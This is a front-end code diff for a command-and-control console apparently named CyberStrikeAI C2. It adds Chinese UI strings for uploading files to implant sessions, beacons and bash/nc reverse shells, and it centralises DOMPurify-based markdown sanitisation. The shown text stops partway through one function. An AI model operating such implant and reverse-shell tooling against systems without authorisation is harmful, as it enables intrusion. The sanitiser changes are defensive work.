@@ -2213,6 +2246,9 @@
|
|||||||
"descriptionPlaceholder": "Skill的简短描述",
|
"descriptionPlaceholder": "Skill的简短描述",
|
||||||
"descriptionHint": "对应 SKILL.md 中 YAML 的 description 字段(创建/编辑 SKILL.md 时使用)",
|
"descriptionHint": "对应 SKILL.md 中 YAML 的 description 字段(创建/编辑 SKILL.md 时使用)",
|
||||||
"packageFiles": "包内文件",
|
"packageFiles": "包内文件",
|
||||||
|
"packageFilesHint": "点击文件进行编辑;文件夹仅作分组展示,不可点击",
|
||||||
|
"folderHint": "文件夹(不可编辑)",
|
||||||
|
"clickToEdit": "点击编辑此文件",
|
||||||
"editingFile": "正在编辑",
|
"editingFile": "正在编辑",
|
||||||
"newFile": "新建文件",
|
"newFile": "新建文件",
|
||||||
"newFilePlaceholder": "新文件路径,如 FORMS.md 或 scripts/extra.sh",
|
"newFilePlaceholder": "新文件路径,如 FORMS.md 或 scripts/extra.sh",
|
||||||
@@ -2499,6 +2535,15 @@
|
|||||||
"files": {
|
"files": {
|
||||||
"parent": "上级目录",
|
"parent": "上级目录",
|
||||||
"refresh": "刷新",
|
"refresh": "刷新",
|
||||||
|
"upload": "上传",
|
||||||
|
"uploading": "正在上传 {{name}} · {{percent}}%",
|
||||||
|
"uploadOk": "上传成功",
|
||||||
|
"uploadQueued": "上传任务已入队",
|
||||||
|
"uploadPendingApproval": "上传任务待人机协同审批",
|
||||||
|
"uploadUnsupported": "当前会话不支持上传",
|
||||||
|
"uploadCurlBeacon": "Curl 轻量信标不支持文件上传,请使用 HTTP Beacon",
|
||||||
|
"uploadTcpShell": "当前为 TCP 反弹 Shell(bash/nc),仅支持命令与下载。上传请改用:① 同一监听器下编译 CSB1 Beacon,或 ② HTTP/HTTPS Beacon 重新上线。",
|
||||||
|
"uploadTcpReverse": "当前为 TCP 反弹 Shell(bash/nc),仅支持命令与下载。上传请改用:① 同一监听器下编译 CSB1 Beacon,或 ② HTTP/HTTPS Beacon 重新上线。",
|
||||||
"loading": "加载中…",
|
"loading": "加载中…",
|
||||||
"timeout": "加载文件超时",
|
"timeout": "加载文件超时",
|
||||||
"emptyDir": "空目录",
|
"emptyDir": "空目录",
|
||||||
@@ -2508,6 +2553,7 @@
|
|||||||
"colActions": "操作",
|
"colActions": "操作",
|
||||||
"open": "打开",
|
"open": "打开",
|
||||||
"download": "下载",
|
"download": "下载",
|
||||||
|
"downloadOk": "下载成功",
|
||||||
"failed": "失败"
|
"failed": "失败"
|
||||||
},
|
},
|
||||||
"listeners": {
|
"listeners": {
|
||||||
@@ -2624,7 +2670,7 @@
|
|||||||
"confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录?(不会向植入体发送退出;若需退出目标进程请使用「终止会话」。)",
|
"confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录?(不会向植入体发送退出;若需退出目标进程请使用「终止会话」。)",
|
||||||
"toastExitSent": "退出指令已发送",
|
"toastExitSent": "退出指令已发送",
|
||||||
"toastSessionDeleted": "会话记录已删除",
|
"toastSessionDeleted": "会话记录已删除",
|
||||||
"terminalWelcome": "CyberStrikeAI C2 终端 — AI-Native 命令与控制",
|
"terminalWelcome": "CyberStrikeAI C2 终端 — 回车执行;↑↓ 历史;Ctrl+L 清屏;Ctrl+C 取消输入",
|
||||||
"termStatusReady": "就绪",
|
"termStatusReady": "就绪",
|
||||||
"termStatusExec": "执行中…",
|
"termStatusExec": "执行中…",
|
||||||
"termStatusErr": "错误",
|
"termStatusErr": "错误",
|
||||||
@@ -2633,6 +2679,9 @@
|
|||||||
"termWaitTimeout": "[等待结果超时]",
|
"termWaitTimeout": "[等待结果超时]",
|
||||||
"termCleared": "终端已清屏",
|
"termCleared": "终端已清屏",
|
||||||
"termNoSelection": "未选中文本",
|
"termNoSelection": "未选中文本",
|
||||||
|
"termWaitFinish": "请等待当前命令执行完成",
|
||||||
|
"termCtrlC": "当前版本暂不支持中断远程命令",
|
||||||
|
"termQueued": "[命令已加入队列,将在当前任务完成后执行]",
|
||||||
"clearTerminal": "清屏"
|
"clearTerminal": "清屏"
|
||||||
},
|
},
|
||||||
"tasks": {
|
"tasks": {
|
||||||
@@ -2659,6 +2708,7 @@
|
|||||||
"colTask": "任务",
|
"colTask": "任务",
|
||||||
"colSession": "会话",
|
"colSession": "会话",
|
||||||
"colType": "类型",
|
"colType": "类型",
|
||||||
|
"colCommand": "命令",
|
||||||
"colStatus": "状态",
|
"colStatus": "状态",
|
||||||
"colDuration": "耗时",
|
"colDuration": "耗时",
|
||||||
"colCreated": "创建时间",
|
"colCreated": "创建时间",
|
||||||
@@ -2669,6 +2719,8 @@
|
|||||||
"labelId": "ID",
|
"labelId": "ID",
|
||||||
"labelSession": "会话",
|
"labelSession": "会话",
|
||||||
"labelType": "类型",
|
"labelType": "类型",
|
||||||
|
"labelCommand": "命令",
|
||||||
|
"labelPayload": "参数",
|
||||||
"labelStatus": "状态",
|
"labelStatus": "状态",
|
||||||
"labelCreated": "创建时间",
|
"labelCreated": "创建时间",
|
||||||
"labelSent": "发送时间",
|
"labelSent": "发送时间",
|
||||||
|
|||||||
+6
-41
@@ -343,48 +343,13 @@ function escapeHtml(text) {
|
|||||||
return div.innerHTML;
|
return div.innerHTML;
|
||||||
}
|
}
|
||||||
|
|
||||||
function formatMarkdown(text) {
|
/** @param {string} text @param {{ profile?: 'chat'|'timeline' }} [options] */
|
||||||
const sanitizeConfig = {
|
function formatMarkdown(text, options) {
|
||||||
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
|
if (typeof window.csMarkdownSanitize !== 'undefined') {
|
||||||
ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
|
return window.csMarkdownSanitize.formatMarkdownToHtml(text, options);
|
||||||
ALLOW_DATA_ATTR: false,
|
|
||||||
};
|
|
||||||
|
|
||||||
const raw = text == null ? '' : String(text);
|
|
||||||
const src = typeof window.normalizeAssistantMarkdownSource === 'function'
|
|
||||||
? window.normalizeAssistantMarkdownSource(raw)
|
|
||||||
: raw;
|
|
||||||
|
|
||||||
if (typeof DOMPurify !== 'undefined') {
|
|
||||||
if (typeof marked !== 'undefined' && !/<[a-z][\s\S]*>/i.test(src)) {
|
|
||||||
try {
|
|
||||||
marked.setOptions({
|
|
||||||
breaks: true,
|
|
||||||
gfm: true,
|
|
||||||
});
|
|
||||||
const parsedContent = marked.parse(src, { async: false });
|
|
||||||
return DOMPurify.sanitize(parsedContent, sanitizeConfig);
|
|
||||||
} catch (e) {
|
|
||||||
console.error('Markdown 解析失败:', e);
|
|
||||||
return DOMPurify.sanitize(src, sanitizeConfig);
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
return DOMPurify.sanitize(src, sanitizeConfig);
|
|
||||||
}
|
|
||||||
} else if (typeof marked !== 'undefined') {
|
|
||||||
try {
|
|
||||||
marked.setOptions({
|
|
||||||
breaks: true,
|
|
||||||
gfm: true,
|
|
||||||
});
|
|
||||||
return marked.parse(src, { async: false });
|
|
||||||
} catch (e) {
|
|
||||||
console.error('Markdown 解析失败:', e);
|
|
||||||
return escapeHtml(src).replace(/\n/g, '<br>');
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
return escapeHtml(src).replace(/\n/g, '<br>');
|
|
||||||
}
|
}
|
||||||
|
const raw = text == null ? '' : String(text);
|
||||||
|
return escapeHtml(raw).replace(/\n/g, '<br>');
|
||||||
}
|
}
|
||||||
|
|
||||||
function setupLoginUI() {
|
function setupLoginUI() {
|
||||||
|
|||||||
+1064
-127
File diff suppressed because it is too large
Load Diff
+19
-116
@@ -423,10 +423,18 @@ if (typeof window !== 'undefined') {
|
|||||||
window.updateHitlStatusUI = updateHitlStatusUI;
|
window.updateHitlStatusUI = updateHitlStatusUI;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function syncHitlSidebarAriaExpanded() {
|
||||||
|
var card = document.getElementById('hitl-sidebar-card');
|
||||||
|
var toggle = document.getElementById('hitl-sidebar-toggle');
|
||||||
|
if (!card || !toggle) return;
|
||||||
|
toggle.setAttribute('aria-expanded', card.classList.contains('hitl-sidebar-collapsed') ? 'false' : 'true');
|
||||||
|
}
|
||||||
|
|
||||||
function toggleHitlSidebarCard() {
|
function toggleHitlSidebarCard() {
|
||||||
var card = document.getElementById('hitl-sidebar-card');
|
var card = document.getElementById('hitl-sidebar-card');
|
||||||
if (!card) return;
|
if (!card) return;
|
||||||
card.classList.toggle('hitl-sidebar-collapsed');
|
card.classList.toggle('hitl-sidebar-collapsed');
|
||||||
|
syncHitlSidebarAriaExpanded();
|
||||||
try {
|
try {
|
||||||
localStorage.setItem('hitl-sidebar-collapsed', card.classList.contains('hitl-sidebar-collapsed') ? '1' : '0');
|
localStorage.setItem('hitl-sidebar-collapsed', card.classList.contains('hitl-sidebar-collapsed') ? '1' : '0');
|
||||||
} catch (e) {}
|
} catch (e) {}
|
||||||
@@ -438,6 +446,7 @@ document.addEventListener('DOMContentLoaded', function () {
|
|||||||
if (card && localStorage.getItem('hitl-sidebar-collapsed') === '0') {
|
if (card && localStorage.getItem('hitl-sidebar-collapsed') === '0') {
|
||||||
card.classList.remove('hitl-sidebar-collapsed');
|
card.classList.remove('hitl-sidebar-collapsed');
|
||||||
}
|
}
|
||||||
|
syncHitlSidebarAriaExpanded();
|
||||||
});
|
});
|
||||||
|
|
||||||
function getAgentModeLabelForValue(mode) {
|
function getAgentModeLabelForValue(mode) {
|
||||||
@@ -1862,25 +1871,9 @@ function refreshSystemReadyMessageBubbles() {
|
|||||||
div.textContent = s;
|
div.textContent = s;
|
||||||
return div.innerHTML;
|
return div.innerHTML;
|
||||||
};
|
};
|
||||||
const defaultSanitizeConfig = {
|
|
||||||
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
|
|
||||||
ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
|
|
||||||
ALLOW_DATA_ATTR: false,
|
|
||||||
};
|
|
||||||
let formattedContent;
|
let formattedContent;
|
||||||
if (typeof marked !== 'undefined') {
|
if (typeof window.csMarkdownSanitize !== 'undefined') {
|
||||||
try {
|
formattedContent = window.csMarkdownSanitize.formatMarkdownToHtml(text, { profile: 'chat' });
|
||||||
marked.setOptions({ breaks: true, gfm: true });
|
|
||||||
const src = typeof window.normalizeAssistantMarkdownSource === 'function'
|
|
||||||
? window.normalizeAssistantMarkdownSource(text)
|
|
||||||
: text;
|
|
||||||
const parsed = marked.parse(src, { async: false });
|
|
||||||
formattedContent = typeof DOMPurify !== 'undefined'
|
|
||||||
? DOMPurify.sanitize(parsed, defaultSanitizeConfig)
|
|
||||||
: parsed;
|
|
||||||
} catch (e) {
|
|
||||||
formattedContent = escapeHtmlLocal(text).replace(/\n/g, '<br>');
|
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
formattedContent = escapeHtmlLocal(text).replace(/\n/g, '<br>');
|
formattedContent = escapeHtmlLocal(text).replace(/\n/g, '<br>');
|
||||||
}
|
}
|
||||||
@@ -1936,13 +1929,6 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
|
|||||||
|
|
||||||
// 解析 Markdown 或 HTML 格式
|
// 解析 Markdown 或 HTML 格式
|
||||||
let formattedContent;
|
let formattedContent;
|
||||||
const defaultSanitizeConfig = {
|
|
||||||
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
|
|
||||||
ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
|
|
||||||
ALLOW_DATA_ATTR: false,
|
|
||||||
};
|
|
||||||
|
|
||||||
// HTML实体编码函数
|
|
||||||
const escapeHtml = (text) => {
|
const escapeHtml = (text) => {
|
||||||
if (!text) return '';
|
if (!text) return '';
|
||||||
const div = document.createElement('div');
|
const div = document.createElement('div');
|
||||||
@@ -1950,31 +1936,6 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
|
|||||||
return div.innerHTML;
|
return div.innerHTML;
|
||||||
};
|
};
|
||||||
|
|
||||||
// 注意:代码块内容不需要转义,因为:
|
|
||||||
// 1. Markdown解析后,代码块会被包裹在<code>或<pre>标签中
|
|
||||||
// 2. 浏览器不会执行<code>和<pre>标签内的HTML(它们是文本节点)
|
|
||||||
// 3. DOMPurify会保留这些标签内的文本内容
|
|
||||||
// 这样既能防止XSS,又能正常显示代码
|
|
||||||
|
|
||||||
const parseMarkdown = (raw) => {
|
|
||||||
if (typeof marked === 'undefined') {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
marked.setOptions({
|
|
||||||
breaks: true,
|
|
||||||
gfm: true,
|
|
||||||
});
|
|
||||||
const src = typeof window.normalizeAssistantMarkdownSource === 'function'
|
|
||||||
? window.normalizeAssistantMarkdownSource(raw)
|
|
||||||
: raw;
|
|
||||||
return marked.parse(src, { async: false });
|
|
||||||
} catch (e) {
|
|
||||||
console.error('Markdown 解析失败:', e);
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 助手消息中的已知中文错误前缀做国际化替换(后端固定返回中文)
|
// 助手消息中的已知中文错误前缀做国际化替换(后端固定返回中文)
|
||||||
let displayContent = content;
|
let displayContent = content;
|
||||||
if (role === 'assistant' && typeof displayContent === 'string' && typeof window.t === 'function') {
|
if (role === 'assistant' && typeof displayContent === 'string' && typeof window.t === 'function') {
|
||||||
@@ -1989,57 +1950,11 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
|
|||||||
// 对于用户消息,直接转义HTML,不进行Markdown解析,以保留所有特殊字符
|
// 对于用户消息,直接转义HTML,不进行Markdown解析,以保留所有特殊字符
|
||||||
if (role === 'user') {
|
if (role === 'user') {
|
||||||
formattedContent = escapeHtml(content).replace(/\n/g, '<br>');
|
formattedContent = escapeHtml(content).replace(/\n/g, '<br>');
|
||||||
} else if (typeof DOMPurify !== 'undefined') {
|
} else if (typeof window.csMarkdownSanitize !== 'undefined') {
|
||||||
// 直接解析Markdown(代码块会被包裹在<code>/<pre>中,DOMPurify会保留其文本内容)
|
formattedContent = window.csMarkdownSanitize.formatMarkdownToHtml(
|
||||||
let parsedContent = parseMarkdown(role === 'assistant' ? displayContent : content);
|
role === 'assistant' ? displayContent : content,
|
||||||
if (!parsedContent) {
|
{ profile: 'chat' }
|
||||||
parsedContent = content;
|
);
|
||||||
}
|
|
||||||
|
|
||||||
// 使用DOMPurify清理,只添加必要的URL验证钩子(DOMPurify默认会处理事件处理器等)
|
|
||||||
if (DOMPurify.addHook) {
|
|
||||||
// 移除之前可能存在的钩子
|
|
||||||
try {
|
|
||||||
DOMPurify.removeHook('uponSanitizeAttribute');
|
|
||||||
} catch (e) {
|
|
||||||
// 钩子不存在,忽略
|
|
||||||
}
|
|
||||||
|
|
||||||
// 只验证URL属性,防止危险协议(DOMPurify默认会处理事件处理器、style等)
|
|
||||||
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
|
|
||||||
const attrName = data.attrName.toLowerCase();
|
|
||||||
|
|
||||||
// 只验证URL属性(src, href)
|
|
||||||
if ((attrName === 'src' || attrName === 'href') && data.attrValue) {
|
|
||||||
const value = data.attrValue.trim().toLowerCase();
|
|
||||||
// 禁止危险协议
|
|
||||||
if (value.startsWith('javascript:') ||
|
|
||||||
value.startsWith('vbscript:') ||
|
|
||||||
value.startsWith('data:text/html') ||
|
|
||||||
value.startsWith('data:text/javascript')) {
|
|
||||||
data.keepAttr = false;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 对于img的src,禁止可疑的短URL(防止404和XSS)
|
|
||||||
if (attrName === 'src' && node.tagName && node.tagName.toLowerCase() === 'img') {
|
|
||||||
if (value.length <= 2 || /^[a-z]$/i.test(value)) {
|
|
||||||
data.keepAttr = false;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
formattedContent = DOMPurify.sanitize(parsedContent, defaultSanitizeConfig);
|
|
||||||
} else if (typeof marked !== 'undefined') {
|
|
||||||
const rawForParse = role === 'assistant' ? displayContent : content;
|
|
||||||
const parsedContent = parseMarkdown(rawForParse);
|
|
||||||
if (parsedContent) {
|
|
||||||
formattedContent = parsedContent;
|
|
||||||
} else {
|
|
||||||
formattedContent = escapeHtml(rawForParse).replace(/\n/g, '<br>');
|
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
const rawForEscape = role === 'assistant' ? displayContent : content;
|
const rawForEscape = role === 'assistant' ? displayContent : content;
|
||||||
formattedContent = escapeHtml(rawForEscape).replace(/\n/g, '<br>');
|
formattedContent = escapeHtml(rawForEscape).replace(/\n/g, '<br>');
|
||||||
@@ -2047,21 +1962,9 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
|
|||||||
|
|
||||||
bubble.innerHTML = formattedContent;
|
bubble.innerHTML = formattedContent;
|
||||||
|
|
||||||
// 最后的安全检查:只处理明显的可疑图片(防止404和XSS)
|
if (typeof window.csMarkdownSanitize !== 'undefined') {
|
||||||
// DOMPurify已经处理了大部分XSS向量,这里只做必要的补充
|
window.csMarkdownSanitize.stripSuspiciousImages(bubble);
|
||||||
const images = bubble.querySelectorAll('img');
|
}
|
||||||
images.forEach(img => {
|
|
||||||
const src = img.getAttribute('src');
|
|
||||||
if (src) {
|
|
||||||
const trimmedSrc = src.trim();
|
|
||||||
// 只检查明显的可疑URL(短字符串、单个字符)
|
|
||||||
if (trimmedSrc.length <= 2 || /^[a-z]$/i.test(trimmedSrc)) {
|
|
||||||
img.remove();
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
img.remove();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 为每个表格添加独立的滚动容器
|
// 为每个表格添加独立的滚动容器
|
||||||
wrapTablesInBubble(bubble);
|
wrapTablesInBubble(bubble);
|
||||||
|
|||||||
@@ -2055,7 +2055,7 @@ function showToastNotification(message, type = 'info') {
|
|||||||
position: fixed;
|
position: fixed;
|
||||||
top: 20px;
|
top: 20px;
|
||||||
right: 20px;
|
right: 20px;
|
||||||
z-index: 10000;
|
z-index: 10100;
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
gap: 12px;
|
gap: 12px;
|
||||||
|
|||||||
+881
-249
File diff suppressed because it is too large
Load Diff
@@ -575,8 +575,8 @@ async function loadProjectFacts() {
|
|||||||
? `<span class="projects-fact-vuln-link" title="${escapeHtml(tp('projects.relatedVulnIdTitle'))}">${escapeHtml(f.related_vulnerability_id.slice(0, 8))}…</span>`
|
? `<span class="projects-fact-vuln-link" title="${escapeHtml(tp('projects.relatedVulnIdTitle'))}">${escapeHtml(f.related_vulnerability_id.slice(0, 8))}…</span>`
|
||||||
: '';
|
: '';
|
||||||
return `<tr>
|
return `<tr>
|
||||||
<td><code>${keyEsc}</code>${vulnLink}</td>
|
<td class="cell-fact-key"><code class="projects-fact-key-chip" title="${keyEsc}">${keyEsc}</code>${vulnLink}</td>
|
||||||
<td>${formatCategoryBadge(f.category)}</td>
|
<td class="cell-fact-category">${formatCategoryBadge(f.category)}</td>
|
||||||
<td class="cell-summary" title="${escapeHtml(f.summary)}">${escapeHtml(f.summary)}</td>
|
<td class="cell-summary" title="${escapeHtml(f.summary)}">${escapeHtml(f.summary)}</td>
|
||||||
<td>${formatFactBodyBadge(f)}</td>
|
<td>${formatFactBodyBadge(f)}</td>
|
||||||
<td>${formatConfidenceBadge(f.confidence)}</td>
|
<td>${formatConfidenceBadge(f.confidence)}</td>
|
||||||
|
|||||||
+1
-19
@@ -105,6 +105,7 @@ function updateNavState(pageId) {
|
|||||||
// 移除所有活动状态
|
// 移除所有活动状态
|
||||||
document.querySelectorAll('.nav-item').forEach(item => {
|
document.querySelectorAll('.nav-item').forEach(item => {
|
||||||
item.classList.remove('active');
|
item.classList.remove('active');
|
||||||
|
item.classList.remove('expanded');
|
||||||
});
|
});
|
||||||
|
|
||||||
document.querySelectorAll('.nav-submenu-item').forEach(item => {
|
document.querySelectorAll('.nav-submenu-item').forEach(item => {
|
||||||
@@ -202,16 +203,6 @@ function getNavSubmenuItems(navItem) {
|
|||||||
return Array.from(submenu.querySelectorAll('.nav-submenu-item'));
|
return Array.from(submenu.querySelectorAll('.nav-submenu-item'));
|
||||||
}
|
}
|
||||||
|
|
||||||
/** 仅一个子页时直接进入,避免展开后菜单在侧栏底部不可见 */
|
|
||||||
function navigateSingleSubmenuPage(navItem) {
|
|
||||||
const items = getNavSubmenuItems(navItem);
|
|
||||||
if (items.length !== 1) return false;
|
|
||||||
const pageId = items[0].getAttribute('data-page');
|
|
||||||
if (!pageId) return false;
|
|
||||||
switchPage(pageId);
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 切换子菜单
|
// 切换子菜单
|
||||||
function toggleSubmenu(menuId) {
|
function toggleSubmenu(menuId) {
|
||||||
const sidebar = document.getElementById('main-sidebar');
|
const sidebar = document.getElementById('main-sidebar');
|
||||||
@@ -228,11 +219,6 @@ function toggleSubmenu(menuId) {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 展开侧栏且仅一个子项(角色、Agents 等):单击直接进入,无需再点二级菜单
|
|
||||||
if (navigateSingleSubmenuPage(navItem)) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 展开状态下切换子菜单,并滚入视口以便看到子项
|
// 展开状态下切换子菜单,并滚入视口以便看到子项
|
||||||
const willExpand = !navItem.classList.contains('expanded');
|
const willExpand = !navItem.classList.contains('expanded');
|
||||||
navItem.classList.toggle('expanded');
|
navItem.classList.toggle('expanded');
|
||||||
@@ -261,10 +247,6 @@ function showSubmenuPopup(navItem, menuId) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (navigateSingleSubmenuPage(navItem)) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
const navItemContent = navItem.querySelector('.nav-item-content');
|
const navItemContent = navItem.querySelector('.nav-item-content');
|
||||||
const submenu = navItem.querySelector('.nav-submenu');
|
const submenu = navItem.querySelector('.nav-submenu');
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,181 @@
|
|||||||
|
/**
|
||||||
|
* 统一的 Markdown → 安全 HTML 渲染(DOMPurify + marked)。
|
||||||
|
* 时间线/过程详情使用 stricter profile,整页 HTML 回退为转义 <pre>。
|
||||||
|
*/
|
||||||
|
(function (global) {
|
||||||
|
'use strict';
|
||||||
|
|
||||||
|
const CHAT_SANITIZE_CONFIG = {
|
||||||
|
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote',
|
||||||
|
'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img',
|
||||||
|
'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
|
||||||
|
ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
|
||||||
|
ALLOW_DATA_ATTR: false,
|
||||||
|
};
|
||||||
|
|
||||||
|
/** 过程详情时间线:禁止 img,减少外连与恶意资源 */
|
||||||
|
const TIMELINE_SANITIZE_CONFIG = {
|
||||||
|
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote',
|
||||||
|
'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a',
|
||||||
|
'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
|
||||||
|
ALLOWED_ATTR: ['href', 'title', 'alt', 'class'],
|
||||||
|
ALLOW_DATA_ATTR: false,
|
||||||
|
};
|
||||||
|
|
||||||
|
const DANGEROUS_URL_PREFIXES = [
|
||||||
|
'javascript:',
|
||||||
|
'vbscript:',
|
||||||
|
'data:text/html',
|
||||||
|
'data:text/javascript',
|
||||||
|
'data:application/javascript',
|
||||||
|
];
|
||||||
|
|
||||||
|
let domPurifyHooksInstalled = false;
|
||||||
|
|
||||||
|
function escapeHtmlLocal(text) {
|
||||||
|
if (text == null || text === '') return '';
|
||||||
|
const div = document.createElement('div');
|
||||||
|
div.textContent = String(text);
|
||||||
|
return div.innerHTML;
|
||||||
|
}
|
||||||
|
|
||||||
|
function installDomPurifyHooks() {
|
||||||
|
if (domPurifyHooksInstalled || typeof DOMPurify === 'undefined' || !DOMPurify.addHook) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
DOMPurify.addHook('uponSanitizeAttribute', function (node, data) {
|
||||||
|
const attrName = (data.attrName || '').toLowerCase();
|
||||||
|
if ((attrName !== 'src' && attrName !== 'href') || !data.attrValue) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const value = String(data.attrValue).trim().toLowerCase();
|
||||||
|
for (let i = 0; i < DANGEROUS_URL_PREFIXES.length; i++) {
|
||||||
|
if (value.indexOf(DANGEROUS_URL_PREFIXES[i]) === 0) {
|
||||||
|
data.keepAttr = false;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (value.indexOf('blob:') === 0) {
|
||||||
|
data.keepAttr = false;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (attrName === 'src' && node.tagName && node.tagName.toLowerCase() === 'img') {
|
||||||
|
if (value.length <= 2 || /^[a-z]$/i.test(value)) {
|
||||||
|
data.keepAttr = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
domPurifyHooksInstalled = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 探测工具返回的整页 HTML,不宜当作富文本渲染 */
|
||||||
|
function isHeavyRawHtml(src) {
|
||||||
|
const s = String(src);
|
||||||
|
if (/<!DOCTYPE\s+html/i.test(s) || /<\s*html\b/i.test(s)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if (/<\s*(head|body|iframe|object|embed|form|script|style|meta|link|base)\b/i.test(s)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
const tags = s.match(/<[a-z][^>]*>/gi);
|
||||||
|
return tags != null && tags.length >= 8;
|
||||||
|
}
|
||||||
|
|
||||||
|
function formatHtmlAsEscapedPre(text) {
|
||||||
|
return '<pre class="tool-result sanitized-raw-html-fallback">' + escapeHtmlLocal(text) + '</pre>';
|
||||||
|
}
|
||||||
|
|
||||||
|
function normalizeSource(text) {
|
||||||
|
const raw = text == null ? '' : String(text);
|
||||||
|
if (typeof global.normalizeAssistantMarkdownSource === 'function') {
|
||||||
|
return global.normalizeAssistantMarkdownSource(raw);
|
||||||
|
}
|
||||||
|
return raw;
|
||||||
|
}
|
||||||
|
|
||||||
|
function parseMarkdownSrc(src) {
|
||||||
|
if (typeof marked === 'undefined') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
marked.setOptions({ breaks: true, gfm: true });
|
||||||
|
return marked.parse(src, { async: false });
|
||||||
|
} catch (e) {
|
||||||
|
console.error('Markdown 解析失败:', e);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function sanitizeConfigForProfile(profile) {
|
||||||
|
return profile === 'timeline' ? TIMELINE_SANITIZE_CONFIG : CHAT_SANITIZE_CONFIG;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param {string|null|undefined} text
|
||||||
|
* @param {{ profile?: 'chat'|'timeline' }} [options]
|
||||||
|
* @returns {string} 安全 HTML
|
||||||
|
*/
|
||||||
|
function formatMarkdownToHtml(text, options) {
|
||||||
|
const profile = (options && options.profile === 'timeline') ? 'timeline' : 'chat';
|
||||||
|
const src = normalizeSource(text);
|
||||||
|
|
||||||
|
if (isHeavyRawHtml(src)) {
|
||||||
|
return formatHtmlAsEscapedPre(src);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (typeof DOMPurify === 'undefined') {
|
||||||
|
return escapeHtmlLocal(src).replace(/\n/g, '<br>');
|
||||||
|
}
|
||||||
|
|
||||||
|
installDomPurifyHooks();
|
||||||
|
const config = sanitizeConfigForProfile(profile);
|
||||||
|
|
||||||
|
let html;
|
||||||
|
const hasHtmlTags = /<[a-z][\s\S]*>/i.test(src);
|
||||||
|
if (typeof marked !== 'undefined' && !hasHtmlTags) {
|
||||||
|
const parsed = parseMarkdownSrc(src);
|
||||||
|
html = parsed != null ? parsed : escapeHtmlLocal(src).replace(/\n/g, '<br>');
|
||||||
|
} else if (hasHtmlTags) {
|
||||||
|
html = src;
|
||||||
|
} else {
|
||||||
|
html = escapeHtmlLocal(src).replace(/\n/g, '<br>');
|
||||||
|
}
|
||||||
|
|
||||||
|
return DOMPurify.sanitize(html, config);
|
||||||
|
}
|
||||||
|
|
||||||
|
function sanitizeRichHtml(html, profile) {
|
||||||
|
if (typeof DOMPurify === 'undefined') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
installDomPurifyHooks();
|
||||||
|
return DOMPurify.sanitize(html, sanitizeConfigForProfile(profile || 'chat'));
|
||||||
|
}
|
||||||
|
|
||||||
|
function stripSuspiciousImages(root) {
|
||||||
|
if (!root || !root.querySelectorAll) {
|
